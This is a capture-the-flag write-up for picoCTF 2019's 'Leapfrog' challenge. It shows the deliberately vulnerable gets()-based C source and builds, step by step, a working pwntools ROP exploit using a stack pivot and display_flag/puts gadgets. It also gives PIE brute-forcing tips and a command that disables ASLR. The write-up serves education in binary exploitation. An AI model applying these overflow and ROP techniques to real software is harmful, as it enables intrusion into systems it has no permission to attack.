[picoctf19] Leapfrog


Leapfrog was a Binary Exploitation challenge during the recent PicoCTF. The challenge was worth 300 points, so in the mid to upper range of difficulty. My solution is a little unconventional since I didn't use the provided hints but it still led me to the right solution.

The challenge

In addition to the binary we were provided with the source code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
    win1 = true;
}

void leap2(unsigned int arg_check) {
    if (win3 && arg_check == 0xDEADBEEF) {
        win2 = true;
    }
    else if (win3) {
        printf("Wrong Argument. Try Again.\n");
    }
    else {
        printf("Nope. Try a little bit harder.\n");
    }
}

void leap3() {
    if (win1 && !win1) {
        win3 = true;
    }
    else {
        printf("Nope. Try a little bit harder.\n");
    }
}

void display_flag() {
    char flag[FLAG_SIZE];
    FILE *file;
    file = fopen("flag.txt", "r");
    if (file == NULL) {
        printf("'flag.txt' missing in the current directory!\n");
        exit(0);
    }

    fgets(flag, sizeof(flag), file);

    if (win1 && win2 && win3) {
        printf("%s", flag);
        return;
    }
    else if (win1 || win3) {
        printf("Nice Try! You're Getting There!\n");
    }
    else {
        printf("You won't get the flag that easy..\n");
    }
}

void vuln() {
    char buf[16];
    printf("Enter your input> ");
    return gets(buf);
}

int main(int argc, char **argv){

    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
}

It's pretty easy to spot what's going on. The vuln() function uses gets to read our input, so we can easily write as much data as we want to the stack, thus overwriting EIP. Our target is also pretty obvious: either get a shell or call the display_flag function. This function in turn has three conditions that have to be satisfied. The global variables win1, win2, win3 must be set to true. Fair enough.

We should also check what security measures are enabled:

Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Full

When we first did the challenge, PIE was actually enabled. This was a mistake by the challenge author and made the challenge even harder. Fun fact that error was later corrected by the author. For this writeup, let's assume you joined later and wanted to solve it without PIE. At the end, we will take a brief look how to defeat PIE.

Attack ideas

We can quickly rule out spawning a shell as the binary does not contain any int 0x80 gadgets. We could try to leak some Libc-addresses and jump to system directly, but that's more work than it's worth.

So, our plan is to call display_flag . Looking at the source to see how we can actually satisfy the three win conditions already shows something suspicious: To set win3 to True we would have to fulfill this condition if (win1 && !win1) . This looks very much like Schrödinger's branch condition, which means we have to jump into the function. Lets look at the disassembly of leap3 and see if the cat is still alive:

leap3

We can directly jump to 0x8048690 , assuming that EAX somehow contains the correct address to load the right offset. Which is a hell of an assumption anyway. But this lead's us to another problem. At the end of win3, there is an mov ebx, [ebp - 0x4] instruction followed by leave; ret; . But in the function we overflow, the saved ebp is stored directly above eip . So overwriting the stored instruction pointer, means overwriting the stored base pointer. No matter what, we can already predict that our exploit will outright destroy the stack management, like 1998 when the Undertaker threw Mankind off Hell In A Cell, and plummeted 16 ft through an announcer's table.

And since we would need to jump to at least 4 different places, we will encounter a stack pivot. Who am I kidding? The only thing we will encounter is a good old segfault. This means we can't just straight up supply our whole chain at once, because we would need to supply new input to a "new stack"at some point. Already getting some headache even thinking about our ropchain, we looked back at the display flag function to see if there is any way we can solve it without setting any win flags.

displayflag

This is the disassembly of the display flag function (We are looking for ropgadgets, remember?). Nothing special. Except... The flag gets loaded first. Always. As soon as we call the function, the flag get's loaded onto the stack, and not zeroed out after the return. The win conditions only determine wether it is printed. So calling display_flag will load our flag on the stack, and leave the function with our target still in memory. Since we have to do a stack pivot anyway, why not just use this to load the flag at a known address and use puts to print it?

Implementing the Chain

At this point, just by reversing and without looking at any gadgets, our plan is as follows:

  • Pivot the stack into the .bss segment
  • Call display_flag to load the flag at a known address
  • Call puts

Exploit skeleton

From here on, we will continue to work directly on the exploit script, using the following skeleton:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

def launch_gdb(breakpoints=[], cmd=''):
    if args.NOPTRACE:
        return
    context.terminal = ['tilix', '-a', 'session-add-right', '-e']
    log.info("Attaching Debugger")
    cmds = 'handle SIGALRM ignore\n'
    for b in breakpoints:
        cmds += 'b *' + str(b) + '\n'
    cmds += cmd
    gdb.attach(io, gdbscript=cmds)

# Here be offsets

# Stage 0, start the process
io = process('./rop')

launch_gdb(breakpoints=[0x80487c8], cmd='c\n') # break at ret in vuln
io.recvuntil('input>')
# Stage 1 stack pivot
payload = 'A'*28
payload += 'BBBB'
io.sendline(payload)

print io.recvall()

This will just crash the program. Also note: I'm using tilix as an emulator, if you don't: replace line 6 by something fitting to your setup, or just delete it :)

Stack pivot

The first part is a stack pivot.

What is a stack pivot?

There are basically two registers to manage the stack: ebp and esp . ESP points to the end of the stack,and EBP points to the start of the current stack-frame. That's why you always see mov ebp, esp at the function start. Every function starts by building a new stack-frame that starts at the current top of the stack. At the end you will (almost) always see leave; ret . Leave is basically short for mov ebp, esp; pop ebp . So the top of the stack is "reset" to the start of the frame and the old base pointer (the start of the stack-frame of the function where the call originated) is restored. So how can we move the stack to a different data segment? Basically by just overwriting the stored EBP. Modifying the value in the EBP register will load it into ESP on the next leave , thus moving our whole stack to another address.

We have a special challenge in that we have to move the stack and still supply new input. As soon as the stack points into another data segment, the next return would try to read an address from there. So we can't just use leave; ret; , instead we have to:

  • call pop ebp
  • set up and jump to gets() and supply new input
  • jump to leave; ret; .

Luckily we can reuse parts of the code for the last two tasks. Looking at vuln again, following the code from address 0x80487b8 we can see that EBP gets dereferenced, and pushed onto the stack. Afterwards gets is called. And since we jumped into the middle of a function, we even get a free leave; ret; at the end. Perfect!

To find our pop ebp we just use ropper:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@serenity:~/hax/pico2019/leapfrog# ropper --file rop_nopie --search "pop ebp" --type rop
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ebp

[INFO] File: rop_nopie
0x08048828: pop ebp; lea esp, [ecx - 4]; ret;
0x08048662: pop ebp; cld; leave; ret;
0x080485fb: pop ebp; ret;

The third one seems perfect. So, where do we pivot our stack? Well, you can use any not ASLR affected writable data segment, e.g. the .bss. You can find it either by looking in gdb during run-time:

gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/hax/pico2019/leapfrog/rop
0x08049000 0x0804a000 0x00000000 r-- /root/hax/pico2019/leapfrog/rop
0x0804a000 0x0804b000 0x00001000 rw- /root/hax/pico2019/leapfrog/rop

Or using objdump:

root@kali:~/hax/pico2019/leapfrog# objdump -h rop
[...]
22 .got.plt      00000034  0804a000  0804a000  00001000  2**2
              CONTENTS, ALLOC, LOAD, DATA
23 .data         00000008  0804a034  0804a034  00001034  2**2
                CONTENTS, ALLOC, LOAD, DATA
24 .bss          00000004  0804a03c  0804a03c  0000103c  2**0
                ALLOC

We just need to remember that the stack grows upwards against lower addresses. So we need our fake stack to start at a higher address, otherwise you will get random segfaults. Lets add Stage 1, the stack pivot, to our script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[...]
# Here be offsets, most of them are from the binary, some are made up
bss = 0x0804a03c
pop_ebp = p32(0x080485fb)
new_stack = p32(bss + 0x900)
get_input = p32(0x80487b8)
io = process('./rop')

launch_gdb(breakpoints=[0x80487c8], cmd='c\n') # break at ret in vuln
io.recvuntil('input>')
# Stage 1 stack pivot
payload = 'A'*28
payload += pop_ebp
payload += new_stack
payload += get_input
io.sendline(payload)

io.interactive()

Running this until we hit gets and looking at the debugger shows the following:

stage1

As you can see, the first argument to gets is 0x0804a924 , which is new_stack - 0x18. This means our input will get loaded to that address. Also, and this is important to pivot, EBP now points to 0x0804a93c . So now the program wants new input. To understand what's going on, just type ni in gdb to continue, and input a bunch of 'A' into the program. I chose to input 28 'A's and 4 'B's ;)

Now type ni until you hit leave and observe the stack before. After leave your gdb should look like this:

Pivot

ESP now points to 0x0804a940 . Why does it point directly to our 4 B's and not the start of our input string? Well, that's for you to figure out ;) But this means, any data that get's stored on the stack in some way, will now be at a known offset from our fake stack. This means we could for example leak addresses to libc. Or any other data ...

Loading the flag

Now, as we had originally planned, lets add a second stage to load our flag on the stack to our script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
io = process('./rop')

launch_gdb(breakpoints=[0x80487c8,0x8048790], cmd='c\n')
io.recvuntil('input>')
# Stage 1 stack pivot
payload = 'A'*28
payload += pop_ebp
payload += new_stack
payload += get_input
io.sendline(payload)

# Stage 2 Load flag
payload = 'A'*28
payload += display_flag
io.sendline(payloads)
io.interactive()

Running this in gdb until the end of display flag is shown below. Then we would need to return to our next gadget, but that one of course we haven't figured out yet so lets ignore that for now.

Display Flag in gdb

As we can see ESP has advanced (or gone back, because stack) another 4 bytes. Our EBP is obiously broken because we hit another leave , which loaded our last 4 'A's of the stage2 payload into EBP, but we don't care at this point. Just remember: If we encounter another leave , it will destroy our stack as it will try to load this value into ESP. Anyway, the point was to get the flag. I just created a txt file in the same folder named flag.txt, so let's look for our flag in memory:

gef➤  grep picoCTF
[+] Searching 'picoCTF' in memory
[+] In '/root/hax/pico2019/leapfrog/rop'(0x804a000-0x804b000), permission=rw-
0x804a8f4 - 0x804a92b  →   "picoCTF{THISISAREALLYLONGFLAGASDASDALKSJDKAHKJASHD[...]"
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
0x804c2d0 - 0x804c307  →   "picoCTF{THISISAREALLYLONGFLAGASDASDALKSJDKAHKJASHD[...]"

We can see that it's on our fake_stack and in the heap. The heap is pretty useless for us sine ASLR is enabled on the server and we can't predict this address at all. But the flag on our fake stack is pretty much all we need. You can run the program over and over again, it will always be at the same offset. The real stack will of course be at another address every time you run it, but the program itself will always be located at the same address. This means, we can just write this address down in our exploit script and accept it as a given.

Printing the flag

The last step is to get that flag out of memory and in our terminal. We have two functions conveniently linked in our binary: puts and printf . If you step through printf you will notice it needs an absurd amount of memory on the stack. And since our stack-size is pretty limited, let's just go with puts . We can use any puts call we want. E.g. from the GOT. But due to our stack magic you have to be careful what argument actually get's passed to puts .

Exercise

As an excersise use puts@GOT instead of the call. See what argument is on top of the stack and if you can get the flag address there.

I recommend adding a breakpoint at puts and taking a look what's on top. To keep things simple, let's just reuse some of the program code, e.g. address 0x80486f1 :

Call puts

This will just print whatever the top of the stack points to. Now it would be possible to get a clean exit, but then we would have to be more careful about registers like EBP. So meh. Putting things together in our script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[...]
flag = p32(0x804a8f4)
puts = p32(0x80486f1)
[...]

# Stage 2 Load flag
payload = 'A'*28
payload += display_flag
payload += puts
payload += flag
io.sendline(payloads)
io.interactive()

Now call the script with NOPTRACE to skip the whole gdb shebang:

Flagfail

Well, whatever this is it's not the flag. That didn't work. Why?

Advise

I advise you to step through puts. Take a look at the stack addresses as it works it's magic and try to figure it out on your own.

Long story short: When we call puts our stack looks close to this:

+------------------------------+<-----+ BSS
|   Random Data (Static        |
|   Variables, old stack       |
|   frames etc                 |
+------------------------------+
|                              |
|  Somewhere here is the flag  |
|                              +<-----+ Old frame of
|                              |        display_flag
|                              |
+-------------------------------<-----+ ESP (Current
|                              |        top of stack)
|                              |
|                              |       EBP (Current
+------------------------------+<-----+Frame Base)

When we call puts we are in the last third of the diagram. Now puts want's its own stack frame of course. So it moves EBP to ESP, and starts writing memory to the stack as if it owned the land! This means, it will overwrite our flag on the stack. Now we have two options: Move the flag, or move the stack (No writeup without a dope rhyme btw). Moving the flag means getting the heap pointer somehow and printing from heap. Anyone here who want's to do this? Yeah, didn't think so. Moving the stack is something we've done before, but we can't properly call any function as it would do the same as puts and overwrite the flag in the process. But there is another way!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@kali:~/hax/pico2019/leapfrog# ropper --file rop  --search "add esp" --type rop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add esp

[INFO] File: rop
0x08048789: add esp, 0x10; mov ebx, dword ptr [ebp - 4]; leave; ret;
0x08048552: add esp, 0x10; leave; ret;
0x0804865d: add esp, 0x10; nop; mov ebx, dword ptr [ebp - 4]; leave; ret;
0x08048895: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret;
0x08048406: add esp, 8; pop ebx; ret;

Adding to the stack means moving ESP further down (Remember the stack grows upwards to lower addresses). So adding to ESP moves the whole thing away from our precious flag. And there is indeed one funny little gadget at 0x08048406 . It moves our stack 8 bytes away, and pops some value into EBX. But who cares about EBX? And since 8 bytes ain't a lot, we call that gadget like...many times? Look, I'm no scientist. I just throw stuff at my exploit until it works, OK?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[...]
flag = p32(0x804a8f4)
puts = p32(0x80486f1)
move_stack = p32(0x08048406) # add esp, 8; pop ebx; ret;
[...]

# Stage 2 Load flag
payload = 'A'*28
payload += display_flag
payload += (move_stack + 'A' * 12) * 20
payload += puts
payload += flag
io.sendline(payloads)
io.interactive()

So why move_stack + 'A' * 12 ? Step through and try to figure it out.... (Hint: 8+4). We simply repeat this 20 times as this will give us 160 bytes space for puts to work things out. The final exploit (I also added the remote stuff):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

def launch_gdb(breakpoints=[], cmd=''):
    if args.NOPTRACE:
        return
    context.terminal = ['tilix', '-a', 'session-add-right', '-e']
    log.info("Attaching Debugger")
    cmds = 'handle SIGALRM ignore\n'
    # cmds += 'set follow-fork-mode child'
    for b in breakpoints:
        cmds += 'b *' + str(b) + '\n'
    cmds += cmd
    gdb.attach(io, gdbscript=cmds)

# Here be Gadgets
pop_ebp = p32(0x080485fb)
bss = 0x0804a03c
new_stack = p32(bss + 0x900)
display_flag = p32(0x80486b3)
get_input = p32(0x80487b8)
flag = p32(0x804a8f4)
puts = p32(0x80486f1)
move_stack = p32(0x08048406) # add esp, 8; pop ebx; ret;

# Stage 0 Startup
if args.REMOTE:
    args.NOPTRACE = True # disable gdb when remote makes sense
    conn = ssh(host='2019shell1.picoctf.com',
        user='****',
        password='****')
    io = conn.process('./rop', cwd='/problems/leap-frog_6_772f62cb51a325a368a9d1563bf4058a')
else:
    io = process('./rop')
launch_gdb(breakpoints=[0x80487c8,0x8048790], cmd='c\n')
io.recvuntil('input>')

# Stage 1 stack pivot
payload = 'A'*28
payload += pop_ebp
payload += new_stack
payload += get_input
io.sendline(payload)

# Stage 2 Load flag and disply from fake stack
payload = 'A'*28
payload += display_flag
payload += (move_stack + 'A'*12)*20
payload += puts
payload += flag
io.sendline(payload)
print io.recvall()

There you go

Win

Bonus: PIE

As I said during the intro of the challenge, when it was first released, the binary was position independent. That means, only 4 bytes of the address space was hardcoded, but the base at which the binary was loaded, was random. This increased the challenge quite a bit, and was later reverted. When we solved it, it was still enabled. Now, how do you go about it? Long story short: Just guess a reasonable address and run your exploit over and over again :D

Well, first develop your exploit as we did above. Just turn ASLR on your machine off [ echo 0 > /proc/sys/kernel/randomize_va_spce ] and instead of using hardcoded addresses make a global "base" variable. Code your gadgets as offset from the base. Since the binary is only 32Bit and 12 bits are used for the address, there isn't much left to guess. And even then, it's not completely random. You will notice the binary often get's loaded at an address starting with 0x55. So to defeat pie, just wrap your exploit in a loop, assume a reasonable address, and let it run over and over again :)

If you want to try it, here is the original PIE challenge: Leapfrog

Try to implement the exploit we did above for this binary (Attention: The gadgets will be at different offsets!), and wrap everything in a loop to defeat PIE. Hit me up on Twitter if you got any questions or remarks!